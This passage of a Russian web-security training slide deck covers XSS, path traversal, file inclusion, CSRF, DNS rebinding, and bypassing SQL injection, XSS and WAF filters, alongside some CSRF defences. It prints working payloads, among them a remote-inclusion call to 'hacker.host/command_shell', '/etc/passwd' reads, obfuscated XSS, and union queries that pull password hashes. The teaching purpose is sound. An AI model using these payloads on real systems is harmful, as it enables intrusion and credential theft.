  37. 37. Уязвимость типа «Межсайтовое выполнение сценариев» web- сервер 1. fuzzing, поиск уязвимости
  38. 38. Уязвимость типа «Межсайтовое выполнение сценариев» web- сервер 1. fuzzing, поиск уязвимости 2. Передача «заряженной» ссылки : http://web/?search=secureweb&quot;><script>...</script> 3. Переход по ссылке
  39. 39. Уязвимость типа «Межсайтовое выполнение сценариев» web- сервер 1. fuzzing, поиск уязвимости 2. Передача «заряженной» ссылки : http://web/?search=secureweb&quot;><script>...</script> 3. Переход по ссылке 4. Выполнение исполняемого кода в браузере пользователя
  40. 40. Уязвимость типа «Межсайтовое выполнение сценариев» web- сервер 1. fuzzing, поиск уязвимости 2. Передача «заряженной» ссылки : http://web/?search=secureweb&quot;><script>...</script> 3. Переход по ссылке 4. Выполнение исполняемого кода в браузере пользователя 5. Например, передача w eb-сессии (cookies) 6. Работа с w eb-приложением от имени атакованного пользователя
  41. 41. Cross-Site Scripting – Классическая эксплуатация <ul><li>Возможный метод обнаружения уязвимости /?id= &quot;><script>alert(1)</script> </li></ul><ul><ul><li>HTML- код возвращаемой страницы примет вид </li></ul></ul><ul><ul><li>… <font size=&quot; &quot;><script>alert(1)</script> &quot; … </li></ul></ul><ul><ul><li>В результате браузер выполнит код java-script </li></ul></ul><ul><li>Пример практического использования : &quot;><script src= http://host/script.js ></script> </li></ul><ul><li>Дополнительные материалы : </li></ul><ul><ul><li>ha.ckers XSS Cheat Sheet: http://ha.ckers.org/xss.html </li></ul></ul><ul><ul><li>WASC Script Mapping: http://projects.webappsec.org/Script-Mapping </li></ul></ul>
  42. 42. Cross-Site Scripting – Различия браузеров <ul><li>http://projects.webappsec.org/Script-Mapping </li></ul>
  43. 43. Уязвимости web -приложений Статистика уязвимостей web- приложений Positive Technologies за 2008 год ( Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp
  44. 44. Статистика используемых паролей в России <ul><li>Более 40% паролей можно взломать из-за простоты </li></ul><ul><li>Статистика по паролям низкой стойкости у администраторов : </li></ul>Данные основываются на анализе более 185 тысяч паролей пользователей ( http://www.ptsecurity.ru/download/PT-Metrics-Passwords-2009.pdf ).
  45. 45. Уязвимость типа «Подбор» web- сервер http://web/secure/
  46. 46. Уязвимость типа «Подбор» web- сервер http://web/secure/
  47. 47. Уязвимости web -приложений Статистика уязвимостей web- приложений Positive Technologies за 2008 год ( Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp
  48. 48. Path Traversal, L/RFI – Базовые знания <ul><li>Пример уязвимости Path Traversal </li></ul><ul><ul><li>Логика программы : </li></ul></ul><ul><ul><li>fopen( $_GET['file'] ,&quot;r&quot;); </li></ul></ul><ul><ul><li>index.php?file= myfile.txt </li></ul></ul><ul><ul><li>Пример эксплуатации : </li></ul></ul><ul><ul><li>index.php?file= /../../../../../etc/passwd </li></ul></ul><ul><li>Опасность уязвимости Local File Including </li></ul><ul><ul><li>Функции include() и require() интерпретируют текст как часть программного кода ! </li></ul></ul><ul><ul><li>Логика программы : </li></ul></ul><ul><ul><li>include( $_GET['file'] .&quot;.inc&quot;); </li></ul></ul><ul><ul><li>index.php?file= myfile </li></ul></ul><ul><ul><li>Пример эксплуатации : </li></ul></ul><ul><ul><li>index.php?file= img/command_shell.jpg%00 </li></ul></ul><ul><li>Рождение Remote File Including </li></ul><ul><ul><li>Если allow_url_fopen & allow_url_include в состоянии enable, то : </li></ul></ul><ul><ul><li>index.php?file= http://hacker.host/command_shell </li></ul></ul>
  49. 49. Уязвимость типа «Обратный путь в директориях» web- сервер http://web/?file=positive.jpg … . $handle = fopen(&quot;positive.jpg&quot;,&quot;r&quot;); $contents = fread($handle, filesize(&quot;positive.jpg&quot;)); ….
  50. 50. Уязвимость типа «Обратный путь в директориях» web- сервер http://web/?file=../../../../../../etc/passwd … . $handle = fopen(&quot;../../../../../../etc/passwd&quot;,&quot;r&quot;); $contents = fread($handle, filesize(&quot;../../../../../../etc/passwd&quot;)); ….
  51. 51. Уязвимости web -приложений <ul><li>Уязвимость типа &quot;Подделка HTTP- запросов&quot; ( Cross-Site Request Forgery, CSRF , XSRF) </li></ul><ul><ul><li>Почти не входит в статистику уязвимостей Positive Technologies и WASC по автоматизированным сканированиям (сложности при автоматизированном обнаружении) </li></ul></ul><ul><ul><li>В основном, ошибка в том или ином виде встречается во всех анализированных web- приложениях </li></ul></ul><ul><ul><li>Степень опасности уязвимости CSRF на прямую зависит от функций и задач , решаемых приложением </li></ul></ul><ul><li>Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к w eb-приложению </li></ul><ul><li>Уязвимость известна и используется с 1988 г., но только сейчас стало заметно движение в сторону ее повсеместного устранения (крупные Интернет - проекты, приложения eCommerce и др.) </li></ul><ul><li>Зачастую применяется связка XSS + CSRF </li></ul>
  52. 52. Уязвимость типа « Подделка HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?account=12345&amount=500&for=54321 > Интернет-банк ( ibanking )
  53. 53. Уязвимость типа « Подделка HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?account=12345&amount=500&for=54321 > Интернет-банк ( ibanking ) 2. Пользователь посещает форум
  54. 54. Уязвимость типа « Подделка HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?account=12345&amount=500&for=54321 > Интернет-банк ( ibanking ) 2. Пользователь посещает форум 3. Браузер загружает картинку по адресу : http://ibanking/action?...
  55. 55. Уязвимость типа « Подделка HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?account=12345&amount=500&for=54321 > Интернет-банк ( ibanking ) 2. Пользователь посещает форум 3. Браузер загружает картинку по адресу : http://ibanking/action?... 4 . Если сессия пользователя существует, то…
  56. 56. Часть 3: Эксплуатация уязвимостей ( advanced ) <ul><ul><li>Современные техники эксплуатации уязвимостей </li></ul></ul>
  57. 57. Уязвимость типа « Подделка HTTP- запросов » <ul><li>Распространенные способы защиты от CSRF- атак : </li></ul><ul><ul><li>Использование CAPTHA </li></ul></ul><ul><ul><li>Использование дополнительной аутентификации </li></ul></ul><ul><ul><ul><li>Парольная аутентификация ; </li></ul></ul></ul><ul><ul><ul><li>Одноразовый токен . </li></ul></ul></ul><ul><ul><li>Уникальный токен самого HTTP- запроса </li></ul></ul><ul><ul><ul><li>Токен HTTP- запроса генерируется на стороне сервера ; </li></ul></ul></ul><ul><ul><ul><li>Токен HTTP- запроса генерируется на стороне сервера и формируется на стороне клиента (javascript) ; </li></ul></ul></ul><ul><ul><ul><li>Токен HTTP- запроса генерируется на стороне сервера и меняется каждые N секунд. Клиент узнает о новом токене , используя технологию AJAX . </li></ul></ul></ul><ul><ul><li>Использование механизмов подписи транзакций </li></ul></ul><ul><ul><li>Защита на основе проверки HTTP Referer </li></ul></ul>
  58. 58. Защита от уязвимости типа « Подделка HTTP- запросов » <ul><li>Пример реализации защиты от CSRF на основе OWASP CSRFGuard </li></ul><ul><li>http://www.owasp.org/index.php/Category:OWASP_CSRFGuard_Project </li></ul>
  59. 59. Защита от уязвимости типа « Подделка HTTP- запросов » <ul><li>Пример реализации защиты от CSRF на основе JSCK ( java-script ) </li></ul><ul><li>http://www.thespanner.co.uk/2007/10/22/jsck-demo-update/ </li></ul>
  60. 60. Защита от уязвимости типа « Подделка HTTP- запросов » <ul><li>OWASP .Net_CSRF_Guard, OWASP PHP CSRF Guard и др. – решения по защите от CSRF на уровне интеграции с приложением </li></ul><ul><li>mod_security в качестве проверки HTTP Referrer. Пример : </li></ul><ul><li>SecFilterSelective HTTP_REFERER &quot;!(^$|^http:/www.example.com/)&quot; chain </li></ul><ul><li>SecFilterSelective REQUEST_URI &quot;!^(/|/index.html|/welcome.html|)$&quot; </li></ul><ul><li>&quot;redirect:http://www.example.com/welcome.html&quot; </li></ul><ul><li>Инструменты для обнаружения уязвимости CSRF: </li></ul><ul><ul><li>OWASP CSRFTester </li></ul></ul><ul><ul><li>Grendel-Scan </li></ul></ul><ul><ul><li>W3af </li></ul></ul><ul><ul><li>и др. </li></ul></ul>
  61. 61. Уязвимость типа «Динамическая п одделка HTTP- запросов » <ul><li>Современный CSRF – Dynamic Cross-Site Request Forgery </li></ul><ul><li>BlackHat USA09 Nathan Hamiel, Shawn Moyer http://www.blackhat.com/presentations/bh-usa-09/HAMIEL/BHUSA09-Hamiel-DynamicCSRF-PAPER.pdf </li></ul><ul><li>Как это работает ? </li></ul><ul><ul><li>На основе «полезной информации» браузера пользователя можно провести Dynamic CSRF </li></ul></ul><ul><ul><li>Фиксация сессии (Session Fixation) </li></ul></ul><ul><ul><li>Использование вектора атаки типа &quot;brute force&quot; (используется атака &quot; CSS History Hack &quot;) </li></ul></ul>
  62. 62. Уязвимость типа «Динамическая п одделка HTTP- запросов » 1. Отправка ссылки пользователю : http://bonus/bonus.htm Интернет-банк ( ibanking ) Узел, управляемый атакующим ( bonus )
  63. 63. Уязвимость типа «Динамическая п одделка HTTP- запросов » 1. Отправка ссылки пользователю : http://bonus/bonus.htm Интернет-банк ( ibanking ) Узел, управляемый атакующим ( bonus ) 2. Пользователь авторизуется в Интернет-банке (используется защита от CSRF на основе токена)
  64. 64. Уязвимость типа «Динамическая п одделка HTTP- запросов » 1. Отправка ссылки пользователю : http://bonus/bonus.htm Интернет-банк ( ibanking ) Узел, управляемый атакующим ( bonus ) 2. Пользователь авторизуется в Интернет-банке (используется защита от CSRF на основе токена) 3. Переходит по ссылке http://bonus/bonus.htm
  65. 65. Уязвимость типа «Динамическая п одделка HTTP- запросов » 1. Отправка ссылки пользователю : http://bonus/bonus.htm Интернет-банк ( ibanking ) Узел, управляемый атакующим ( bonus ) 2. Пользователь авторизуется в Интернет-банке (используется защита от CSRF на основе токена) 3. Переходит по ссылке http://bonus/bonus.htm 4. На основе полученного Referer подгружается картинка : http://ibanking/action?account=12345&amount=500&for=54321& token=765234 5 . Атака завершена
  66. 66. Уязвимость типа «Динамическая п одделка HTTP- запросов » <ul><li>Использование CSS History Hack (Jeremiah Grossman) для проведения Dynamic Cross-Site Request Forgery </li></ul><ul><li>BlackHat USA09 Nathan Hamiel, Shawn Moyer http://www.blackhat.com/presentations/bh-usa-09/HAMIEL/BHUSA09-Hamiel-DynamicCSRF-PAPER.pdf; http://securethoughts.com/2009/07/hacking-csrf-tokens-using-css-history-hack/ </li></ul><ul><li>Как это работает ? </li></ul><ul><li>Вариант защиты : </li></ul><ul><li>http://www.safehistory.com/ </li></ul>
  67. 67. CSRF & XSS <ul><li>Почему CSRF & XSS ? </li></ul><ul><li>Облегчает проведение Dynamic Cross-Site Request Forgery </li></ul><ul><li>Зачастую используется для сканирования портов внутренней сети </li></ul><ul><ul><li>Снятие отпечатков используемых сервисов ( fingerprinting ) </li></ul></ul><ul><ul><li>Определение полномочий ( CSS History Hack ) </li></ul></ul><ul><ul><li>Пример реализации : Yokoso (http://yokoso.inguardians.com/) </li></ul></ul>
  68. 68. CSRF & XSS <ul><li>Самая простая реализация порт-сканера на java - script </li></ul><ul><li>http://www.gnucitizen.org/static/blog/2006/08/jsportscanner.js </li></ul>
  69. 69. Атака « Anti DNS Pinning » <ul><li>Атака &quot;Anti DNS Pinning&quot; (DNS rebinding) </li></ul><ul><li>Обход ограничений Same origin policy </li></ul><ul><li>Позволяет злоумышленнику манипулировать соответствием между IP-адресом и DNS-именем узла (FQDN) с целью запуска активного содержимого в контексте безопасности уязвимого сайта. Используя эту технику, злоумышленник может использовать браузер жертвы для получения доступа к защищенным сайтам (например, находящимся за межсетевыми экранами или требующим аутентификации). В отличии от атаки типа «Подделка межсайтового запроса» (Cross-Site Request Forgery, CSRF), атака Anti DNS Pinning направлена на получение данных (нарушение конфиденциальности), а не на выполнение каких-либо действий с приложением (нарушение целостности). Но совместно с CSRF атака Anti DNS Pinning может использоваться для полнофункционального доступа к w eb-приложению через браузер пользователя. </li></ul><ul><li>BlackHat USA07 David Byrne, https://www.blackhat.com/presentations/bh-usa-07/Byrne/Presentation/bh-usa-07-byrne.pdf; http://ha.ckers.org/blog/20060908/dns-pinning-just-got-worse/; http://christ1an.blogspot.com/2007/07/dns-pinning-explained.html </li></ul>
  70. 70. Уязвимость типа « Anti DNS Pinning » Контролируемый web- сервер www.hack.example (1.1.1.1) MS Project Server 192.168.0.1 Прочие 1. Пользователь обращается к внешнему web- серверу Контролируемый DNS- сервер hack.example Контролируемый web- сервер any.name Cisco SDM 192.168.0.2
  71. 71. Уязвимость типа « Anti DNS Pinning » MS Project Server 192.168.0.1 Прочие 2 . Полученный сценарий java-script , например, через 2 секунды делает повторное обращение Контролируемый DNS- сервер hack.example Контролируемый web- сервер any.name 3. Атакующий блокирует доступ к web- серверу Cisco SDM 192.168.0.2 Контролируемый web- сервер www.hack.example (1.1.1.1)
  72. 72. Уязвимость типа « Anti DNS Pinning » MS Project Server 192.168.0.1 Прочие 4. Происходит повторное разрешение имени www.hack.example Контролируемый DNS- сервер hack.example Контролируемый web- сервер any.name 5. www.hack.example IN A 192.168.0.1 Cisco SDM 192.168.0.2 Контролируемый web- сервер www.hack.example (1.1.1.1)
  73. 73. Уязвимость типа « Anti DNS Pinning » MS Project Server 192.168.0.1 Прочие 6 . Браузер посылает запрос на 192.168.0.1 : GET / HTTP/1.1 Host: www.hack.example … Контролируемый DNS- сервер hack.example Контролируемый web- сервер any.name 5. www.hack.example IN A 192.168.0.1 Cisco SDM 192.168.0.2 Контролируемый web- сервер www.hack.example (1.1.1.1)
  74. 74. Уязвимость типа « Anti DNS Pinning » Cisco SDM 192.168.0.2 MS Project Server 192.168.0.1 Прочие Контролируемый DNS- сервер hack.example Контролируемый web- сервер any.name 7. Образуется полноценный канал для работы с внутренним ресурсом Контролируемый web- сервер www.hack.example (1.1.1.1)
  75. 75. Часть 4: Эксплуатация уязвимостей ( filters bypass ) <ul><ul><li>Эксплуатация уязвимостей в контексте обхода программных фильтров безопасности </li></ul></ul>
  76. 76. Фильтры поступающих данных. Какие они бывают <ul><li>Прозрачные для web- приложения </li></ul><ul><ul><li>magic_quotes_gpc , display_errors , etc </li></ul></ul><ul><ul><li>mod_rewrite, ISAPI- фильтры, etc </li></ul></ul><ul><li>Встроенные функции языка разработки </li></ul><ul><ul><li>Универсальные Пример : addslashes(), addcslashes(), htmlspecialchars() , etc </li></ul></ul><ul><ul><li>Предназначенные для определенной среды Пример : mysql_real_escape_string(), pg_escape_string(), dbx_escape_string(), etc </li></ul></ul><ul><li>Разрабатываемые самим программистом </li></ul><ul><ul><li>Приведение типов </li></ul></ul><ul><ul><li>Использование регулярных выражений </li></ul></ul>
  77. 77. Методы обхода фильтров безопасности (1) – SQL Injection <ul><li>Использовать кодирование передаваемых в приложение данных </li></ul><ul><ul><li>Строка « qwerty » может быть представлена неограниченным количеством вариаций </li></ul></ul><ul><ul><ul><li>Hex- кодирование : 0 x717765727479 </li></ul></ul></ul><ul><ul><ul><li>ASCII- представление : char(113),char(119),char(101),char(114), char(116),char(121) </li></ul></ul></ul><ul><ul><ul><li>Использование шифрования с разным ключом : ╧i╘═╗ Г▐╗щ~)°°Р= </li></ul></ul></ul><ul><ul><li>Пример : </li></ul></ul><ul><ul><ul><li>hex(AES_ENCRYPT('qwerty',1)) – это B969A9A01DA8E78FA8DD7E299C9CF23D </li></ul></ul></ul><ul><ul><ul><li>aes_decrypt(concat(0xB9,0x69,0xA9,0xA0,0x1D,0xA8,0xE7,0x8F,0xA8,0xDD,0x7E,0x29,0x9C,0x9C,0xF2,0x3D),1) – это qwerty </li></ul></ul></ul>
  78. 78. Методы обхода фильтров безопасности (2) – SQL Injection <ul><li>Использовать представления, отсутствующие в фильтре </li></ul><ul><ul><li>Синонимы функций </li></ul></ul><ul><ul><ul><li>CHARACTER_LENGTH() -> CHAR_LENGTH() </li></ul></ul></ul><ul><ul><ul><li>LOWER() -> LCASE() </li></ul></ul></ul><ul><ul><ul><li>OCTET_LENGTH() -> LENGTH() </li></ul></ul></ul><ul><ul><ul><li>LOCATE() -> POSITION( ) </li></ul></ul></ul><ul><ul><ul><li>REGEXP() -> RLIKE() </li></ul></ul></ul><ul><ul><ul><li>UPPER() -> UCASE() </li></ul></ul></ul><ul><ul><ul><li>и т.д. </li></ul></ul></ul><ul><ul><li>Обфускация запроса и данных </li></ul></ul><ul><ul><ul><li>Примеры обфускации строки « qwerty » : </li></ul></ul></ul><ul><ul><ul><li>reverse(concat(if(1,char(121),2),0x74,right(left(0x567210,2),1),lower(mid('TEST',2,1)),replace(0x7074,'pt','w'),char(instr(123321,33)+110))) </li></ul></ul></ul><ul><ul><ul><li>concat(unhex(left(crc32(31337),3)-400),unhex(ceil(atan(1)*100-2)),unhex(round(log(2)*100)-4),char(114),char(right(cot(31337),2)+54),char(pow(11,2))) </li></ul></ul></ul>
  79. 79. Методы обхода фильтров безопасности – SQL Injection <ul><li>Пример по обходу сигнатур (обфускация запроса) </li></ul><ul><ul><li>Следующий запрос попадает в сигнатуру приложения </li></ul></ul><ul><ul><li>/?id=1+ union +( select +1,2+ from +test.users) </li></ul></ul><ul><ul><li>Но иногда используемые сигнатуры можно обойти </li></ul></ul><ul><ul><li>/?id=1+union+(select+'xz'from+xxx) </li></ul></ul><ul><ul><li>/?id=(1)unIon(selEct(1),mid(hash,1,32)from(test.users)) </li></ul></ul><ul><ul><li>/?id=1+union+(sELect'1',concat(login,hash)from+test.users) </li></ul></ul><ul><ul><li>/?id=(1)union(((((((select(1),hex(hash)from(test.users)))))))) </li></ul></ul><ul><ul><li>/?id=(1);exec('sel'+'ect'(1)) </li></ul></ul><ul><ul><li>/?id=(1)or(0x50=0x50) </li></ul></ul><ul><ul><li>… </li></ul></ul>
  80. 80. Методы обхода фильтров безопасности (3) – SQL Injection <ul><li>Использовать null-byte для обхода бинарно-зависимых функций </li></ul><ul><li>Пример : if(ereg (&quot;^(.){1,3}$&quot;, $_GET['param'])) { … } </li></ul><ul><ul><li>/?param= 123 </li></ul></ul><ul><ul><li>ereg (&quot;^(.){1,3}$&quot;, &quot; 123 &quot;) – true </li></ul></ul><ul><ul><li>/?param= 1234 </li></ul></ul><ul><ul><li>ereg (&quot;^(.){1,3}$&quot;, &quot; 1234 &quot;) – false </li></ul></ul><ul><ul><li>/?param= 1+union+select+1 </li></ul></ul><ul><ul><li>ereg (&quot;^(.){1,3}$&quot;, &quot; 1 union select 1 &quot;) – false </li></ul></ul><ul><ul><li>/?param= 123%00 </li></ul></ul><ul><ul><li>ereg (&quot;^(.){1,3}$&quot;, &quot; 123 &quot;) - true </li></ul></ul><ul><ul><li>/?param= 1/*%00*/union+select+1 </li></ul></ul><ul><ul><li>ereg (&quot;^(.){1,3}$&quot;, &quot; 1/**/union select 1 &quot;) - true </li></ul></ul>
  81. 81. Методы обхода фильтров безопасности ( 4 ) – SQL Injection <ul><li>Обход функции addslashes() </li></ul><ul><li>Это возможно, если существует уязвимость, позволяющая установить кодировку SJIS, BIG5 или GBK </li></ul><ul><li>Как это работает ? </li></ul><ul><li>addslashes(&quot; ' &quot;) т.е. 0x 27 вернет &quot; ' &quot; т.е. 0x 5c 27 </li></ul><ul><ul><li>Пример для кодировки GBK: </li></ul></ul><ul><ul><li>0xbf 27 – некорректный символ </li></ul></ul><ul><ul><li>0xbf 5c – корректный самостоятельный символ </li></ul></ul><ul><ul><li>после обработки функцией addslashes() 0xbf27 превращается в 0xbf 5c 27 т.е. 0xbf 5c и одинарную кавычку 0x 27 </li></ul></ul>Raz0r, http://raz0r.name/vulnerabilities/sql-inekcii-svyazannye-s-multibajtovymi-kodirovkami-i-addslashes/
  82. 82. Методы обхода фильтров безопасности (5) – SQL Injection <ul><li>Пример распространенной уязвимости в функциях фильтров безопасности </li></ul><ul><ul><li>Следующий запрос не позволяет провести атаку </li></ul></ul><ul><ul><li>/?id=1+ union+select +1,2, 3 /* </li></ul></ul><ul><ul><li>Если в фильтре есть соответствующая уязвимость, то такой запрос успешно отработает </li></ul></ul><ul><ul><li>/?id=1 + un /**/ ion + sel /**/ ect+1,2,3-- </li></ul></ul><ul><ul><li>SQL -запрос примет вид </li></ul></ul><ul><ul><li>SELECT * from table where id =1 union select 1,2,3 -- </li></ul></ul><ul><li>Вместо конструкции /**/ может использоваться любые наборы символов, вырезаемые фильтром (eq #####, %00, etc) </li></ul><ul><li>Данный пример работает в случае «излишней очистки» поступающих данных (замена regexp-выражения на пустую строку) </li></ul>
  83. 83. Практика обхода фильтров на примере KIS 2009 <ul><li>Kaspersky Internet Security 2009 </li></ul><ul><ul><li>Ругается на : /?id=1 union select password from users </li></ul></ul><ul><ul><li>Но пропускает : </li></ul></ul><ul><ul><li>/?id=1 union select passwd from users </li></ul></ul><ul><ul><li>/?id=1 union select pass from users </li></ul></ul><ul><ul><li>/?id=1 union select login from users-- </li></ul></ul><ul><ul><li>и т.п. </li></ul></ul><ul><ul><li>И пропускает : /?id=1+ and+(select+(@v:=password)+from+users+limit+0,1)+union+select+@v-- </li></ul></ul>
  84. 84. Методы обхода фильтров безопасности – XSS <ul><ul><li>Пример эксплуатации XSS совместно с обходом встроенного фильтра от XSS -атак в Microsoft IE 8 </li></ul></ul><ul><ul><li><style>@696d706f7274 'http://ha.ckers.org/xss.css';</style> </li></ul></ul><ul><ul><li>D0znp, http://onsec.ru/vuln?id=4 </li></ul></ul><ul><ul><li>Еще пример с BlackHat USA09: </li></ul></ul><ul><ul><li><script> </li></ul></ul><ul><ul><li>($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_) </li></ul></ul><ul><ul><li></script> </li></ul></ul><ul><ul><li>BlackHat USA09 Eduardo Vela (Эдуардо Вела) , David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf; D0znp, http://oxod.ru/2009/08/26/ обход- xss- фильтров-по-средствам-особенос/ ; http://sla.ckers.org/forum/read.php?2,31708 </li></ul></ul>
  85. 85. Методы обхода фильтров безопасности - Path Traversal <ul><li>Пример уязвимости path traversal </li></ul><ul><ul><li>Логика программы : </li></ul></ul><ul><ul><li><? include(&quot;./files/&quot;. $_GET['file'] ) ; ?> </li></ul></ul><ul><ul><li>Эксплуатация уязвимости : </li></ul></ul><ul><ul><li>/?id=/union%20select/../../../../../../../etc/passwd </li></ul></ul><ul><ul><li>Запрос принимает вид : </li></ul></ul><ul><ul><li><? include(&quot; ./files//uni X on%20sel X ect/../../../../../../../etc/passwd &quot;) ; ?> </li></ul></ul><ul><li>Данный пример работает в случае «очистки» поступающих данных и немедленного прерывания процесса дальнейшего прохождения по сигнатурам </li></ul>
  86. 86. Часть 5: Эксплуатация уязвимостей ( WAF bypass ) <ul><ul><li>Эксплуатация уязвимостей в контексте обхода Web Application Firewall (WAF) </li></ul></ul>
  87. 87. Что такое WAF http:// server /?id=6329&print=Y Нас атакуют! Ахтунг!!! WAF Webserver http:// server /?id=5351 http:// server /?id=8234 http:// server /? id=“><script>... http:// server /?id=1+union+select... http:// server /? id=/../../../etc/passwd Нормализация данных Decode HTML entities (e.g. c, &quot;, ª) Escaped characters (e.g. , 01, xAA, uAABB) Null byte string termination ... Поиск сигнатуры /(sel)(ect.+fr)(om)/is /(uni)(on.+sel)(ect)/is ...
  88. 88. Какие они бывают <ul><li>По режиму работы : </li></ul><ul><ul><li>Мост / Маршрутизатор </li></ul></ul><ul><ul><li>Обратный прокси-сервер </li></ul></ul><ul><ul><li>Встроенный </li></ul></ul><ul><li>По модели защиты : </li></ul><ul><ul><li>Основанный на сигнатуре ( Signature-based ) </li></ul></ul><ul><ul><li>Основанный на правилах ( Rule-based ) </li></ul></ul><ul><li>По реакции на «плохой» запрос: </li></ul><ul><ul><li>Очистка «опасных» данных </li></ul></ul><ul><ul><li>Блокировка запроса </li></ul></ul><ul><ul><li>Блокировка источника атаки </li></ul></ul>
  89. 89. Методы обхода WAF <ul><li>Фундаментальные ограничения технологии </li></ul><ul><ul><li>Неспособность полностью защитить web- приложение от всех возможных уязвимостей </li></ul></ul><ul><li>Общие проблемы </li></ul><ul><ul><li>При использовании универсальных фильтров WAF приходиться балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика </li></ul></ul><ul><ul><li>Обработка возвращаемого трафика клиенту </li></ul></ul><ul><li>Уязвимости реализации </li></ul><ul><ul><li>Технологии нормализации </li></ul></ul><ul><ul><li>Использование новых техник эксплуатации уязвимостей в Web ( HTTP Parameter Pollution , HTTP Parameter Fragmentation , замена null-byte , etc. ) </li></ul></ul>
  90. 90. <ul><li>Небезопасное восстановление паролей ( Weak Password Recovery Validation) </li></ul>Методы обхода WAF – Фундаментальные ограничения IMPACT: An attacker could exploit this vulnerability to compromise the admin account of any wordpress/wordpress-mu <= 2.8.3 http://seclists.org/fulldisclosure/2009/Aug/0113.html
  91. 91. Практика обхода WAF: SQL Injection - нормализация <ul><li>Пример уязвимости в функции нормализации запроса </li></ul><ul><ul><li>Следующий запрос не позволяет провести атаку </li></ul></ul><ul><ul><li>/?id=1+ union+select +1,2, 3 /* </li></ul></ul><ul><ul><li>Если в WAF есть соответствующая уязвимость, то такой запрос успешно отработает </li></ul></ul><ul><ul><li>/?id=1/*union*/ union /*select*/ select+1,2,3 /* </li></ul></ul><ul><ul><li>После обработки WAF запрос примет следующий вид </li></ul></ul><ul><ul><li>index.php?id=1/* uni X on */ union /* sel X ect */ select+1,2,3 /* </li></ul></ul><ul><li>Данный пример работает в случае «очистки» опасного трафика, а не при блокировке всего запроса или источника атаки </li></ul>
  92. 92. Практика обхода WAF: SQL Injection – HPP (пример 1) <ul><li>Использование HTTP Parameter Pollution (HPP) </li></ul><ul><ul><li>Следующий запрос не позволяет провести атаку </li></ul></ul><ul><ul><li>/?id=1 ;select+1,2, 3 +from+users+where+id=1 -- </li></ul></ul><ul><ul><li>Такой запрос успешно отработает при использовании HPP </li></ul></ul><ul><ul><li>/?id=1 ;select+1 &id= 2, 3 +from+users+where+id=1 -- </li></ul></ul><ul><li>Успешное проведение атаки HPP по обходу WAF ограничено используемой средой атакуемого приложения </li></ul><ul><li>OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf </li></ul>
  93. 93. Практика обхода WAF: SQL Injection – HPP <ul><li>Как это работает ? </li></ul><ul><li>Пример в среде IIS/ASP </li></ul><ul><li>GET /index.asp?id= param1 &id= param2 &id= param3 HTTP/1.1 </li></ul><ul><li>Host: localhost </li></ul><ul><li>… </li></ul><ul><li>После обработки такого HTTP- запроса web- приложение в качестве значения GET[id] получит следующие данные : </li></ul><ul><li>Request.QueryString(&quot;id&quot;) = &quot; param1 , param2 , param3 &quot; </li></ul>
  94. 94. Практика обхода WAF: HTTP Parameter Pollution (HPP)
  95. 95. Практика обхода WAF: SQL Injection – HPP <ul><li>Пример в среде Apache/PHP/Mod_Rewrite </li></ul><ul><li>Правило mod_rewrite: </li></ul><ul><li>... </li></ul><ul><li>RewriteRule (.+)/(.+)/(.+)/$ / index.php?action= view &module=$1&category=$2&id=$3 </li></ul><ul><li>… HTTP- запрос : </li></ul><ul><li>GET /1/2/ 3 &action=edit / HTTP/1.1 </li></ul><ul><li>Host: localhost </li></ul><ul><li>… После обработки такого HTTP- запроса в Web- приложение поступит переменная GET[action] с установленным значением &quot; edit” вместо ожидаемого значения &quot; view&quot; . </li></ul>
  96. 96. Практика обхода WAF: HTTP Parameter Pollution (HPP) Технология / Среда Интерпретация параметров Пример ASP.NET/IIS Склеивание через запятую par1=val1,val2 ASP/IIS Склеивание через запятую par1=val1,val2 PHP/APACHE Последний параметр результирующий par1=val2 PHP/Zeus Последний параметр результирующий par1=val2 JSP, Servlet/Apache Tomcat Первый параметр результирующий par1=val1 JSP,Servlet/Oracle Application Server 10g Первый параметр результирующий par1=val1 JSP,Servlet/Jetty Первый параметр результирующий par1=val1 IBM Lotus Domino Первый параметр результирующий par1=val1 IBM HTTP Server Последний параметр результирующий par1=val2 mod_perl,libapeq2/Apache Первый параметр результирующий par1=val1 Perl CGI/Apache Первый параметр результирующий par1=val1 mod_perl,lib???/Apache Первый параметр результирующий par1=val1 mod_wsgi (Python)/Apache Возвращается массив ARRAY(0x8b9058c) Pythin/Zope Первый параметр результирующий par1=val1 IceWarp Возвращается массив ['val1','val2'] AXIS 2400 Последний параметр результирующий par1=val2 Linksys Wireless-G PTZ Internet Camera Склеивание через запятую par1=val1,val2 Ricoh Aficio 1022 Printer Последний параметр результирующий par1=val2 webcamXP Pro Первый параметр результирующий par1=val1 DBMan Склеивание через две тильды par1=val1~~val2
  97. 97. Практика обхода WAF: SQL Injection – HPP (пример 2) <ul><li>Использование HTTP Parameter Pollution (HPP) </li></ul><ul><ul><li>Уязвимый код </li></ul></ul><ul><ul><li>SQL=&quot; select key from table where id= &quot;+ Request.QueryString(&quot;id&quot;) </li></ul></ul><ul><ul><li>Такой запрос успешно отработает при использовании техники HPP </li></ul></ul><ul><ul><li>/?id=1 /**/union/* &id= */select/* &id= */pwd/* &id= */from/* &id= */users </li></ul></ul><ul><ul><li>SQL- запрос примет вид </li></ul></ul><ul><ul><li>select key from table where id= 1 /**/union/* , */select/* , */pwd/* , */from/* , */users </li></ul></ul><ul><li>Lavakumar Kuppan, http://lavakumar.com/Split_and_Join.pdf </li></ul>
